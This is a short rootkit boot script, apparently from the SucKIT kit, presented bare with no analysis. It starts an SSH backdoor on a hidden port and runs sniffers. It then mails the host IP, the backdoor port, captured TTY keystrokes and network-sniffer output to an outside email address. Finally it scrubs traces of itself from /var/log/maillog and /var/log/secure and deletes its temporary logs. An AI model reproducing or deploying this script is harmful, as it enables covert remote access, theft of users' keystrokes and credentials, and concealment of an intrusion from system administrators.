#!/bin/sh SSHPORT=`cat /lib/.x/s/port` IP=`cat /lib/.x/ip` TIME=`date` /lib/.x/s/xopen -q -p ${SSHPORT} >> /lib/.x/reboot.log /lib/.x/s/lsn & /lib/.x/sk p 1 >> /lib/.x/reboot.log /lib/.x/sk f 1 >> /lib/.x/reboot.log echo "###Host ${IP} went online on ${TIME}" >> /tmp/13996log echo >> /tmp/13996maillog echo >> /tmp/13996maillog echo "###SSHD backdoor port: ${SSHPORT}" >> /tmp/13996log echo >> /tmp/13996maillog echo >> /tmp/13996maillog echo "###Sniffer log:" >> /tmp/13996log echo " - TTY Sniffer:" >> /tmp/13996log cat /lib/.x/.lurker >> /tmp/13996log echo >> /tmp/13996maillog echo " - Network Sniffer:" >> /tmp/13996log cat /lib/.x/s/mfs >> /tmp/13996maillog echo >> /tmp/13996maillog echo >> /tmp/13996maillog echo "###Reboot log:" >> /tmp/13996log cat /lib/.x/reboot.log >> /tmp/13996log echo >> /tmp/13996maillog echo >> /tmp/13996maillog cat /tmp/13996log | mail -s "Host ${IP} is up!" skiZophrenia_sick@yahoo.com /lib/.x/hide /lib/.x/cl -f /var/log/maillog yahoo > /dev/null /lib/.x/cl -s o.tgz > /dev/null /lib/.x/cl -s suckit > /dev/null /lib/.x/cl -s xopen > /dev/null /lib/.x/cl -s promisc > /dev/null /lib/.x/cl -f promisc /var/log/secure > /dev/null rm -rf /tmp/13996* rm -rf /lib/.x/reboot.log